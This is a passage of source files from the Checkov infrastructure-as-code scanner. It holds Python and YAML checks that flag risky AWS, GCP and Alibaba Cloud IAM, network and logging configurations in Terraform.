principal_identifiers = principal[\"identifiers\"]\n                        if (\n                            isinstance(principal_type, list)\n                            and len(principal_type)\n                            and \"Federated\" in principal_type\n                            and isinstance(principal_identifiers, list)\n                        ):\n                            for identifier in principal_identifiers:\n                                if (\n                                    isinstance(identifier, list)\n                                    and len(identifier) > 0\n                                    and identifier[0] is not None\n                                    and \"oidc-provider/token.actions.githubusercontent.com\" in identifier[0]\n                                ):\n                                    found_federated_gh_oidc = True\n                                    break\n                if not found_federated_gh_oidc:\n                    return CheckResult.PASSED\n\n                # By now we know that the statement is a federated GitHub OIDC provider\n                # First check - if the statement is a federated GitHub OIDC provider, it MUST have a condition\n                if found_federated_gh_oidc and not statement.get(\"condition\"):\n                    return CheckResult.FAILED\n                found_sub_condition_variable = False\n                found_sub_condition_value = False\n\n                # It is common to have multiple conditions, so we need to iterate over them\n                for condition in statement.get(\"condition\"):\n                    condition_variables = condition.get(\"variable\")\n                    condition_values = condition.get(\"values\")\n                    if isinstance(condition_variables, list):\n                        for condition_variable in condition_variables:\n                            if gh_sub_condition.match(condition_variable):\n                                found_sub_condition_variable = True\n                                break\n\n                        # If we didn't find the sub condition variable, we can skip the rest of the checks\n                        if not found_sub_condition_variable:\n                            continue\n                        if isinstance(condition_values, list):\n                            for condition_value in condition_values:\n                                if isinstance(condition_value, list):\n                                    # First -> check if the value is a mere wildcard. If so, it's a fail\n                                    # This covers the case where the condition is ['sub':'*']\n                                    if len(condition_value) == 1 and condition_value[0] == \"*\":\n                                        return CheckResult.FAILED\n                                    # Split the claims by ':' for deeper inspection\n                                    split_claims = condition_value[0].split(\":\")\n                                    # The assertion MUST be of the form ['{claim_name_1}:{claim_value_1}:{claim_name_2}:{claim_value_2}...']\n                                    # If the length of the split claims is 1, it means that the assertion is ['sub':'{claim_name}'] - this is a fail\n                                    if len(split_claims) == 1:\n                                        return CheckResult.FAILED\n                                    # Second -> Check if the value is a wildcard assertion\n                                    # This covers the case where the condition is ['sub':'{claim_name}:*']\n                                    if split_claims[1] == \"*\":\n                                        return CheckResult.FAILED\n                                    # Third -> Check if the value is an abusable claim\n                                    # This covers the case where the condition is ['sub':'{abusable_claim}:{any_value}']\n                                    for abusable_claim in gh_abusable_claims:\n                                        if split_claims[0].startswith(abusable_claim):\n                                            return CheckResult.FAILED\n                                    # Fourth -> Check if the value is a repo:org/* -> this is a pass with a warning\n                                    if split_claims[0] == \"repo\" and not gh_repo_regex.match(split_claims[1]):\n                                        return CheckResult.FAILED\n                                    found_sub_condition_value = True\n                                    break\n                        if found_sub_condition_value and found_sub_condition_variable:\n                            return CheckResult.PASSED\n\n                # Found a federated GitHub user, but no restrictions\n                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"statement/condition/variable\", \"statement/condition/values\"]\n\n\ncheck = GithubActionsOIDCTrustPolicy()\n"
  },
  {
    "path": "checkov/terraform/checks/data/aws/IAMCredentialsExposure.py",
    "content": "from __future__ import annotations\n\nfrom typing import List, Union, Dict, Any, TYPE_CHECKING\n\nfrom checkov.terraform.checks.data.base_cloudsplaining_data_iam_check import BaseTerraformCloudsplainingDataIAMCheck\n\nif TYPE_CHECKING:\n    from cloudsplaining.scan.policy_document import PolicyDocument\n\n\nclass CloudSplainingCredentialsExposure(BaseTerraformCloudsplainingDataIAMCheck):\n    excluded_actions = {\"ecr:GetAuthorizationToken\"}  # noqa: CCE003  # a static attribute\n\n    def __init__(self) -> None:\n        name = \"Ensure IAM policies does not allow credentials exposure\"\n        id = \"CKV_AWS_107\"\n        super().__init__(name=name, id=id)\n\n    def cloudsplaining_analysis(self, policy: PolicyDocument) -> Union[List[str], List[Dict[str, Any]]]:\n        return [x for x in policy.credentials_exposure if x not in CloudSplainingCredentialsExposure.excluded_actions]\n\n\ncheck = CloudSplainingCredentialsExposure()\n"
  },
  {
    "path": "checkov/terraform/checks/data/aws/IAMDataExfiltration.py",
    "content": "from __future__ import annotations\n\nfrom typing import List, TYPE_CHECKING\n\nfrom checkov.terraform.checks.data.base_cloudsplaining_data_iam_check import BaseTerraformCloudsplainingDataIAMCheck\n\nif TYPE_CHECKING:\n    from cloudsplaining.scan.policy_document import PolicyDocument\n\n\nclass CloudSplainingDataExfiltration(BaseTerraformCloudsplainingDataIAMCheck):\n    def __init__(self) -> None:\n        name = \"Ensure IAM policies does not allow data exfiltration\"\n        id = \"CKV_AWS_108\"\n        super().__init__(name=name, id=id)\n\n    def cloudsplaining_analysis(self, policy: PolicyDocument) -> List[str]:\n        return policy.allows_data_exfiltration_actions\n\n\ncheck = CloudSplainingDataExfiltration()\n"
  },
  {
    "path": "checkov/terraform/checks/data/aws/IAMManagedAdminPolicy.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.data.base_check import BaseDataCheck\n\n\nADMIN_POLICY_NAME = \"AdministratorAccess\"\nADMIN_POLICY_ARN = f\"arn:aws:iam::aws:policy/{ADMIN_POLICY_NAME}\"\n\n\nclass IAMManagedAdminPolicy(BaseDataCheck):\n    def __init__(self):\n        # This is the full description of your check\n        description = \"Disallow policies from using the AWS AdministratorAccess policy\"\n\n        # This is the Unique ID for your check\n        id = \"CKV_AWS_275\"\n\n        # These are the terraform objects supported by this check (ex: aws_iam_policy_document)\n        supported_data = (\"aws_iam_policy\",)\n\n        # Valid CheckCategories checkov/common/models/enums.py\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=description, id=id, categories=categories, supported_data=supported_data)\n\n    def scan_data_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if \"name\" in conf.keys():\n            if conf.get(\"name\")[0] == ADMIN_POLICY_NAME:\n                self.evaluated_keys = [\"name\"]\n                return CheckResult.FAILED\n\n        if \"arn\" in conf.keys():\n            if conf.get(\"arn\")[0] == ADMIN_POLICY_ARN:\n                self.evaluated_keys = [\"arn\"]\n                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = IAMManagedAdminPolicy()\n"
  },
  {
    "path": "checkov/terraform/checks/data/aws/IAMPermissionsManagement.py",
    "content": "from __future__ import annotations\n\nfrom typing import List, Dict, Any, Union, TYPE_CHECKING\n\nfrom checkov.terraform.checks.data.base_cloudsplaining_data_iam_check import BaseTerraformCloudsplainingDataIAMCheck\n\nif TYPE_CHECKING:\n    from cloudsplaining.scan.policy_document import PolicyDocument\n\n\nclass CloudSplainingPermissionsManagement(BaseTerraformCloudsplainingDataIAMCheck):\n    def __init__(self) -> None:\n        name = \"Ensure IAM policies does not allow permissions management / resource exposure without constraints\"\n        id = \"CKV_AWS_109\"\n        super().__init__(name=name, id=id)\n\n    def cloudsplaining_analysis(self, policy: PolicyDocument) -> Union[List[str], List[Dict[str, Any]]]:\n        return policy.permissions_management_without_constraints\n\n\ncheck = CloudSplainingPermissionsManagement()\n"
  },
  {
    "path": "checkov/terraform/checks/data/aws/IAMPrivilegeEscalation.py",
    "content": "from __future__ import annotations\n\nfrom typing import List, Dict, Any, Union, TYPE_CHECKING\n\nfrom checkov.terraform.checks.data.base_cloudsplaining_data_iam_check import BaseTerraformCloudsplainingDataIAMCheck\n\nif TYPE_CHECKING:\n    from cloudsplaining.scan.policy_document import PolicyDocument\n\n\nclass CloudSplainingPrivilegeEscalation(BaseTerraformCloudsplainingDataIAMCheck):\n    def __init__(self) -> None:\n        name = \"Ensure IAM policies does not allow privilege escalation\"\n        id = \"CKV_AWS_110\"\n        super().__init__(name=name, id=id)\n\n    def cloudsplaining_analysis(self, policy: PolicyDocument) -> Union[List[str], List[Dict[str, Any]]]:\n        escalations = policy.allows_privilege_escalation\n        flattened_escalations: list[str] = []\n        if escalations:\n            for escalation in escalations:\n                if isinstance(escalation, dict):\n                    flattened_escalations.extend(escalation.get('actions'))\n                else:\n                    flattened_escalations.append(escalation)\n        return flattened_escalations\n\n\ncheck = CloudSplainingPrivilegeEscalation()\n"
  },
  {
    "path": "checkov/terraform/checks/data/aws/IAMPublicActionsPolicy.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.terraform.checks.data.base_check import BaseDataCheck\n\n\nclass IAMPublicActionsPolicy(BaseDataCheck):\n    def __init__(self):\n        name = 'Ensure no IAM policies documents allow ALL or any AWS principal permissions to the resource'\n        id = \"CKV_AWS_283\"\n        supported_data = [\"aws_iam_policy_document\"]\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_data=supported_data)\n\n    def scan_data_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        statements = force_list(conf.get('statement'))\n        for statement in statements:\n            if isinstance(statement, dict):\n                if not statement.get('condition'):\n                    # * on Deny is fine\n                    if not statement.get('effect') == [\"Deny\"]:\n                        principals = force_list(statement.get('principals'))\n                        for principal in principals:\n                            if isinstance(principal, dict):\n                                principal_type = principal.get('type', [''])[0]\n                                principal_identifiers = principal.get('identifiers', [])\n                                if principal_type == 'AWS' and principal_identifiers and isinstance(principal_identifiers[0], list) and '*' in principal_identifiers[0]:\n                                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = IAMPublicActionsPolicy()\n"
  },
  {
    "path": "checkov/terraform/checks/data/aws/IAMWriteAccess.py",
    "content": "from __future__ import annotations\n\nfrom typing import Union, List, Dict, Any, TYPE_CHECKING\n\nfrom checkov.terraform.checks.data.base_cloudsplaining_data_iam_check import BaseTerraformCloudsplainingDataIAMCheck\n\nif TYPE_CHECKING:\n    from cloudsplaining.scan.policy_document import PolicyDocument\n\n\nclass CloudSplainingWriteAccess(BaseTerraformCloudsplainingDataIAMCheck):\n    def __init__(self) -> None:\n        name = \"Ensure IAM policies does not allow write access without constraints\"\n        id = \"CKV_AWS_111\"\n        super().__init__(name=name, id=id)\n\n    def cloudsplaining_analysis(self, policy: PolicyDocument) -> Union[List[str], List[Dict[str, Any]]]:\n        return policy.write_actions_without_constraints\n\n\ncheck = CloudSplainingWriteAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/data/aws/ResourcePolicyDocument.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, TYPE_CHECKING\n\nfrom checkov.terraform.checks.data.base_cloudsplaining_data_iam_check import BaseTerraformCloudsplainingDataIAMCheck\n\nif TYPE_CHECKING:\n    from cloudsplaining.scan.policy_document import PolicyDocument\n\n\nclass ResourcePolicyDocument(BaseTerraformCloudsplainingDataIAMCheck):\n    def __init__(self) -> None:\n        name = 'Ensure no IAM policies documents allow \"*\" as a statement\\'s resource for restrictable actions'\n        id = \"CKV_AWS_356\"\n        super().__init__(name=name, id=id)\n\n    def cloudsplaining_analysis(self, policy: PolicyDocument) -> list[str] | list[dict[str, Any]]:\n        return policy.all_allowed_unrestricted_actions\n\n\ncheck = ResourcePolicyDocument()\n"
  },
  {
    "path": "checkov/terraform/checks/data/aws/StarActionPolicyDocument.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.terraform.checks.data.base_check import BaseDataCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass StarActionPolicyDocument(BaseDataCheck):\n    def __init__(self) -> None:\n        name = 'Ensure no IAM policies documents allow \"*\" as a statement\\'s actions'\n        id = \"CKV_AWS_49\"\n        supported_data = (\"aws_iam_policy_document\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_data=supported_data)\n\n    def scan_data_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        \"\"\"\n            validates iam policy document\n            https://learn.hashicorp.com/terraform/aws/iam-policy\n        :param conf: aws_kms_key configuration\n        :return: <CheckResult>\n        \"\"\"\n\n        for statements in conf.get(\"statement\", []):\n            statements = force_list(statements)\n            for statement in statements:\n                if (\n                    isinstance(statement, dict)\n                    and statement.get(\"effect\", [\"Allow\"]) in ([\"Allow\"], [None])\n                    and statement.get(\"actions\")\n                    and \"*\" in force_list(statement[\"actions\"][0])\n                ):\n                    # effect: [None] is the default in a TF plan file\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = StarActionPolicyDocument()\n"
  },
  {
    "path": "checkov/terraform/checks/data/aws/WhoAMI.py",
    "content": "from typing import Dict, Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.data.base_check import BaseDataCheck\n\n\nclass WhoAMI(BaseDataCheck):\n    def __init__(self) -> None:\n        name = \"Reduce potential for WhoAMI cloud image name confusion attack\"\n        id = \"CKV_AWS_386\"\n        supported_data = ['aws_ami']\n        categories = [CheckCategories.SUPPLY_CHAIN]\n        super().__init__(name=name, id=id, categories=categories, supported_data=supported_data)\n\n    def scan_data_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        \"\"\"\n        Validates AWS AMI configuration to prevent WhoAMI vulnerability\n        by checking for unspecified owners and overly permissive name patterns\n\n        :param conf: aws_ami data source configuration\n        :return: <CheckResult>\n        \"\"\"\n        # Check if owners is specified and not empty\n        owners = conf.get(\"owners\", [])\n        if not owners:\n            filters = conf.get(\"filter\", [])\n            if not isinstance(filters, list):\n                filters = [filters]\n\n            for filter_block in filters:\n                if isinstance(filter_block, dict):\n                    # Check name filter specifically\n                    if filter_block.get(\"name\", [\"\"])[0] == \"name\":\n                        values = filter_block.get(\"values\")[0]\n                        for value in values:\n                            # Check for overly permissive patterns\n                            if '*' in value or '?' in value:\n                                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = WhoAMI()\n"
  },
  {
    "path": "checkov/terraform/checks/data/aws/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/terraform/checks/data/base_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import Dict, List, Any\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.data.registry import data_registry\n\n\nclass BaseDataCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: Iterable[CheckCategories],\n        supported_data: Iterable[str],\n        guideline: str | None = None,\n    ) -> None:\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_data,\n                         block_type=\"data\", guideline=guideline)\n        self.supported_data = supported_data\n        data_registry.register(self)\n\n    def scan_entity_conf(self, conf: Dict[str, List[Any]], entity_type: str) -> CheckResult:\n        self.entity_type = entity_type\n\n        if conf.get(\"count\") == [0]:\n            return CheckResult.UNKNOWN\n\n        return self.scan_data_conf(conf)\n\n    @abstractmethod\n    def scan_data_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/terraform/checks/data/base_cloudsplaining_data_iam_check.py",
    "content": "import fnmatch\nimport logging\nfrom abc import ABC\nfrom typing import Dict, List, Any, Union\n\nfrom cloudsplaining.scan.policy_document import PolicyDocument\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.data.base_check import BaseDataCheck\nfrom checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner\nfrom checkov.terraform.checks.utils.iam_terraform_document_to_policy_converter import (\n    convert_terraform_conf_to_iam_policy,\n)\n\n\nclass BaseTerraformCloudsplainingDataIAMCheck(BaseDataCheck, BaseTerraformCloudsplainingIAMScanner, ABC):\n    def __init__(self, name: str, id: str) -> None:\n        super().__init__(name=name, id=id, categories=[CheckCategories.IAM], supported_data=[\"aws_iam_policy_document\"])\n\n    def scan_data_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        return self.scan_conf(conf)\n\n    @property\n    def cache_key(self) -> str:\n        return self.entity_path\n\n    def should_scan_conf(self, conf: Dict[str, List[Any]]) -> bool:\n        return \"statement\" in conf.keys()\n\n    def convert_to_iam_policy(self, conf: Dict[str, List[Any]]) -> PolicyDocument:\n        converted_conf = convert_terraform_conf_to_iam_policy(conf)\n        return PolicyDocument(converted_conf)\n\n    def cloudsplaining_enrich_evaluated_keys(self, policy: PolicyDocument,\n                                             violating_actions: Union[List[str], List[Dict[str, Any]]]) -> None:\n        try:\n            # in case we have violating actions for this policy we start looking for it through the statements\n            for stmt_idx, statement in enumerate(policy.statements):\n                actions = statement.statement.get('Action')  # get the actions for this statement\n                if actions:\n                    if isinstance(actions, str):\n                        for violating_action in violating_actions:\n                            if fnmatch.fnmatch(violating_action.lower(), actions.lower()):  # found the violating action in our list of actions\n                                self.evaluated_keys.append(f\"statement/[{stmt_idx}]/actions\")\n                                return\n                    if isinstance(actions, list):\n                        for action in actions:      # go through the actions of this statement and try to match one violation\n                            for violating_action in violating_actions:\n                                if isinstance(action, str) and fnmatch.fnmatch(violating_action.lower(), action.lower()):      # found the violating action in our list of actions\n                                    self.evaluated_keys.append(f\"statement/[{stmt_idx}]/actions\")\n                                    return\n        except Exception as e:\n            logging.warning(f'Failed enriching cloudsplaining evaluated keys due to: {e}')\n"
  },
  {
    "path": "checkov/terraform/checks/data/base_registry.py",
    "content": "from typing import Dict, Any, Tuple, List\n\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\n\n\nclass Registry(BaseCheckRegistry):\n    def extract_entity_details(\n        self, entity: Dict[str, Dict[str, Dict[str, List[Dict[str, Any]]]]]\n    ) -> Tuple[str, str, Dict[str, List[Dict[str, Any]]]]:\n        data_type, data_object = next(iter(entity.items()))\n        data_name, data_configuration = next(iter(data_object.items()))\n        return data_type, data_name, data_configuration\n"
  },
  {
    "path": "checkov/terraform/checks/data/external/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/terraform/checks/data/gcp/GooglePolicyIsPrivate.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.terraform.checks.data.base_check import BaseDataCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass GooglePolicyIsPrivate(BaseDataCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        ensure policy defined is not public\n        policy should not set 'allUsers' or 'allAuthenticatedUsers' in the attribute 'member'/'members'\n        \"\"\"\n        name = \"Ensure IAM policy should not define public access\"\n        id = \"CKV_GCP_113\"\n        supported_data = (\"google_iam_policy\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_data=supported_data)\n\n    def scan_data_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        \"\"\"\n            validates gcp policy\n        \"\"\"\n        fails = [\"allUsers\", \"allAuthenticatedUsers\"]\n        if conf.get(\"binding\") and isinstance(conf.get(\"binding\"), list):\n            bindings = conf.get(\"binding\")\n            for binding in bindings:\n                if binding.get(\"members\") and isinstance(binding.get(\"members\"), list):\n                    members = binding.get(\"members\")[0]\n                    for member in members:\n                        if member in fails:\n                            self.evaluated_keys = [\"bindings/[0]/members\"]\n                            return CheckResult.FAILED\n                    return CheckResult.PASSED\n        return CheckResult.UNKNOWN\n\n\ncheck = GooglePolicyIsPrivate()\n"
  },
  {
    "path": "checkov/terraform/checks/data/gcp/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/terraform/checks/data/registry.py",
    "content": "from checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.terraform.checks.data.base_registry import Registry\n\ndata_registry = Registry(CheckType.TERRAFORM)\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/alicloud/OSSBucketPublic.yaml",
    "content": "metadata:\n  id: \"CKV_ALI_1\"\n  name: \"Alibaba Cloud OSS bucket accessible to public\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"alicloud_oss_bucket\"\n      attribute: \"acl\"\n      operator: \"not_within\"\n      value:\n        - \"public-read\"\n        - \"public-read-write\"\n    - or:\n      - and:\n        - cond_type: \"filter\"\n          attribute: \"resource_type\"\n          value:\n            - \"alicloud_oss_bucket\"\n          operator: \"within\"\n        - cond_type: \"connection\"\n          resource_types:\n            - \"alicloud_oss_bucket\"\n          connected_resource_types:\n            - \"alicloud_oss_bucket_acl\"\n          operator: \"not_exists\"\n      - and:\n        - cond_type: \"filter\"\n          attribute: \"resource_type\"\n          value:\n            - \"alicloud_oss_bucket\"\n          operator: \"within\"\n        - cond_type: \"connection\"\n          resource_types:\n            - \"alicloud_oss_bucket\"\n          connected_resource_types:\n            - \"alicloud_oss_bucket_acl\"\n          operator: \"exists\"\n        - cond_type: \"attribute\"\n          resource_types:\n            - \"alicloud_oss_bucket_acl\"\n          attribute: \"acl\"\n          operator: \"not_within\"\n          value:\n            - \"public-read\"\n            - \"public-read-write\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/ACMWildcardDomainName.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_71\"\n  name: \"Ensure AWS ACM Certificate domain name does not include wildcards\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_acm_certificate\"\n      attribute: \"domain_name\"\n      operator: \"not_contains\"\n      value: \"*\"\n    - or:\n      - cond_type: \"attribute\"\n        resource_types:\n          - \"aws_acm_certificate\"\n        attribute: \"subject_alternative_names\"\n        operator: \"not_exists\"\n      - cond_type: \"attribute\"\n        resource_types:\n          - \"aws_acm_certificate\"\n        attribute: \"subject_alternative_names.*\"\n        operator: \"not_contains\"\n        value: \"*\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/ALBProtectedByWAF.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_28\"\n  name: \"Ensure public facing ALB are protected by WAF\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - cond_type: filter\n      value:\n        - aws_lb\n        - aws_alb\n      operator: within\n      attribute: resource_type\n    - or: \n      - cond_type: connection\n        operator: exists\n        resource_types:\n        - aws_lb\n        - aws_alb\n        connected_resource_types:\n        - aws_wafv2_web_acl_association\n      - cond_type: connection\n        operator: exists\n        resource_types:\n        - aws_lb\n        - aws_alb\n        connected_resource_types:\n        - aws_wafregional_web_acl_association\n      - cond_type: attribute\n        value: true\n        attribute: internal\n        resource_types: \n        - aws_lb\n        - aws_alb\n        operator: equals\n      - cond_type: attribute\n        resource_types:\n        - aws_lb\n        - aws_alb\n        attribute: load_balancer_type\n        operator: within\n        value:\n          - network\n          - gateway\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/ALBRedirectsHTTPToHTTPS.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_20\"\n  name: \"Ensure that ALB redirects HTTP requests into HTTPS ones\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - cond_type: filter\n      value:\n        - aws_lb\n        - aws_alb\n      operator: within\n      attribute: resource_type\n    - or:\n      - cond_type: connection\n        operator: not_exists\n        resource_types:\n          - aws_lb\n          - aws_alb\n        connected_resource_types:\n          - aws_lb_listener\n          - aws_alb_listener\n      - and:\n          - cond_type: connection\n            operator: exists\n            resource_types:\n              - aws_lb\n              - aws_alb\n            connected_resource_types:\n              - aws_lb_listener\n              - aws_alb_listener\n          - or:\n              - and:\n                - cond_type: attribute\n                  attribute: port\n                  operator: not_equals\n                  value: \"80\"\n                  resource_types:\n                    - aws_lb_listener\n                    - aws_alb_listener\n                - cond_type: attribute\n                  attribute: protocol\n                  operator: not_equals\n                  value: HTTP\n                  resource_types:\n                    - aws_lb_listener\n                    - aws_alb_listener\n              - and:\n                  - cond_type: attribute\n                    attribute: port\n                    operator: equals\n                    value: \"80\"\n                    resource_types:\n                      - aws_lb_listener\n                      - aws_alb_listener\n                  - cond_type: attribute\n                    attribute: protocol\n                    operator: equals\n                    value: \"HTTP\"\n                    resource_types:\n                      - aws_lb_listener\n                      - aws_alb_listener\n                  - cond_type: attribute\n                    attribute: default_action.type\n                    operator: equals\n                    value: \"redirect\"\n                    resource_types:\n                      - aws_lb_listener\n                      - aws_alb_listener\n                  - cond_type: attribute\n                    attribute: default_action.redirect.*.port\n                    operator: equals\n                    value: \"443\"\n                    resource_types:\n                      - aws_lb_listener\n                      - aws_alb_listener\n                  - cond_type: attribute\n                    attribute: default_action.redirect.*.protocol\n                    operator: equals\n                    value: \"HTTPS\"\n                    resource_types:\n                      - aws_lb_listener\n                      - aws_alb_listener"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/ALBWebACLConfiguredWIthLog4jVulnerability.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_76\"\n  name: \"Ensure AWS ALB attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n    - cond_type: attribute\n      resource_types:\n        - aws_lb\n        - aws_alb\n      attribute: internal\n      operator: is_true\n    - and:\n      - cond_type: filter\n        attribute: resource_type\n        operator: within\n        value:\n          - aws_lb\n          - aws_alb\n      - cond_type: connection\n        resource_types:\n          - aws_lb\n          - aws_alb\n        connected_resource_types:\n          - aws_wafv2_web_acl_association\n        operator: not_exists\n    - and:\n      - cond_type: filter\n        attribute: resource_type\n        operator: within\n        value:\n          - aws_lb\n          - aws_alb\n      - cond_type: connection\n        resource_types:\n          - aws_lb\n          - aws_alb\n        connected_resource_types:\n          - aws_wafv2_web_acl_association\n        operator: exists\n      - cond_type: connection\n        resource_types:\n          - aws_wafv2_web_acl\n        connected_resource_types:\n          - aws_wafv2_web_acl_association\n        operator: exists\n      - cond_type: attribute\n        resource_types:\n          - aws_wafv2_web_acl\n        attribute: rule.*.statement.managed_rule_group_statement.name\n        operator: contains\n        value: \"AWSManagedRulesAnonymousIpList\"\n      - cond_type: attribute\n        resource_types:\n          - aws_wafv2_web_acl\n        attribute: rule.*.statement.managed_rule_group_statement.name\n        operator: contains\n        value: \"AWSManagedRulesKnownBadInputsRuleSet\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/AMRClustersNotOpenToInternet.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_7\"\n  name: \"Ensure that Amazon EMR clusters' security groups are not open to the world\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - resource_types:\n        - aws_emr_cluster\n      connected_resource_types:\n        - aws_security_group\n      operator:  exists\n      cond_type: connection\n    - cond_type: \"attribute\"\n      resource_types: \n        - \"aws_security_group\"\n      attribute: \"ingress.*.cidr_blocks\"\n      operator: \"not_contains\"\n      value: \"0.0.0.0/0\"\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - aws_emr_cluster\n      operator: within\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/APIGWLoggingLevelsDefinedProperly.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_4\"\n  name: \"Ensure API Gateway stage have logging level defined as appropriate\"\n  category: \"LOGGING\"\ndefinition:\n  and:\n    - resource_types:\n        - aws_api_gateway_stage\n      connected_resource_types:\n        - aws_api_gateway_method_settings\n      operator:  exists\n      cond_type: connection\n    - or:  \n      - cond_type: \"attribute\"\n        resource_types: \n          - \"aws_api_gateway_method_settings\"\n        attribute: \"settings.logging_level\"\n        operator: \"equals\"\n        value: \"ERROR\"\n      - cond_type: \"attribute\"\n        resource_types: \n          - \"aws_api_gateway_method_settings\"\n        attribute: \"settings.logging_level\"\n        operator: \"equals\"\n        value: \"INFO\"\n    - cond_type: \"attribute\"\n      resource_types: \n        - \"aws_api_gateway_method_settings\"\n      attribute: \"settings.metrics_enabled\"\n      operator: \"equals\"\n      value: true \n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - aws_api_gateway_stage\n      operator: within\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/APIGatewayEndpointsUsesCertificateForAuthentication.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_51\"\n  name: \"Ensure AWS API Gateway endpoints uses client certificate authentication\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types:\n      - \"aws_api_gateway_stage\"\n      attribute: \"client_certificate_id\"\n      operator: \"exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n      - \"aws_apigatewayv2_stage\"\n      attribute: \"client_certificate_id\"\n      operator: \"exists\"\n    - or:\n      - and:\n        - cond_type: filter\n          attribute: resource_type\n          operator: within\n          value:\n          - aws_apigatewayv2_stage\n        - cond_type: \"connection\"\n          resource_types:\n          - \"aws_apigatewayv2_stage\"\n          connected_resource_types:\n          - aws_apigatewayv2_api\n          operator: not_exists\n      - and:\n        - cond_type: filter\n          attribute: resource_type\n          operator: within\n          value:\n          - aws_apigatewayv2_stage\n        - cond_type: \"connection\"\n          resource_types:\n          - \"aws_apigatewayv2_stage\"\n          connected_resource_types:\n          - aws_apigatewayv2_api\n          operator: exists\n        - cond_type: \"attribute\"\n          resource_types:\n          - \"aws_apigatewayv2_api\"\n          attribute: \"protocol_type\"\n          operator: \"not_equals\"\n          value: \"WEBSOCKET\"    \n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/APIGatewayRequestParameterValidationEnabled.yaml",
